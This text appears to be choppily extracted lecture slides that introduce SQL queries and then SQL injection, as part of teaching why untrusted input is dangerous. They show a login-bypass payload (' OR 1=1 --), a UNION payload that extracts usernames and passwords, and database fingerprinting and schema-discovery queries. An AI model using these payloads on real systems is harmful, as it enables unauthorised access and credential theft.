Next Week
Structured Query Language
Databases
How do I use SQL? Well you just “QUERY” for what you want!
Queries
SELECT <column> FROM <table>;
-> Returns all the values of “column” in the table.INSERT INTO table (columna, columnb) VALUES (a, b);
-> Inserts some values into a table.UPDATE table SET ... = ...
-> Updates values of a table.DELETE FROM table ...
-- a comment (also #)
-> Anything after the – is ignored.SELECT * FROM table WHERE … -> Select ALL THE COLUMNS from a table
col = ...
col > ...
col < ...
col <> ... #
not equals (!=)col LIKE ... #
regexp_
(.)
and %
(.*)
are wildcardsSOME EXTRA COOL STUFF YOU CAN SELECT (WRITE THIS DOWN)
Fingerprinting (What flavour am I using?)
SELECT Version()
SELECT sqlite_version()
SELECT @@Version
Finding the schema
SELECT * FROM information_schema.[tables|columns]
SELECT * FROM sqlite_[master|schema]
SHOW TABLES; DESCRIBE <table_name>
Demo this using
Demo SQL Code
SELECT * FROM sqlite_master
INSERT INTO users VALUES (5,'jesse','merhi')
SELECT * FROM users UNION SELECT * FROM stock
SELECT username, password FROM users UNION SELECT * FROM stock
TLDR: blindly trusting user input is bad
What if we injected control characters which changed how the database interprets the query? e.g. inject our own UNIONS/WHERES/etc
How could it tell the difference?
SELECT * FROM users WHERE user = '{input}' AND password = '{...}'
If our input was: ' OR 1=1 --
-- vvvvvvvvvvvvvvvvvvvv
SELECT * FROM users WHERE user = '' OR 1=1 --'and password = '...'
-- ^^^^^^^^^^^^^^^^^^^^
-- user = '' is always false, but 1=1 is always true
-- so this will return every user from the database
Common syntax errors:
((username = '{INPUT}' AND password = '{PASSWORD}'))
items
, but want users
UNION
SELECT * FROM items WHERE item = '' UNION SELECT username,password FROM users;--;'
-- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Back to /login
'username or password incorrect'
)Note: these have historically still been vulnerable, don’t solely rely on them
covered in the extended lecture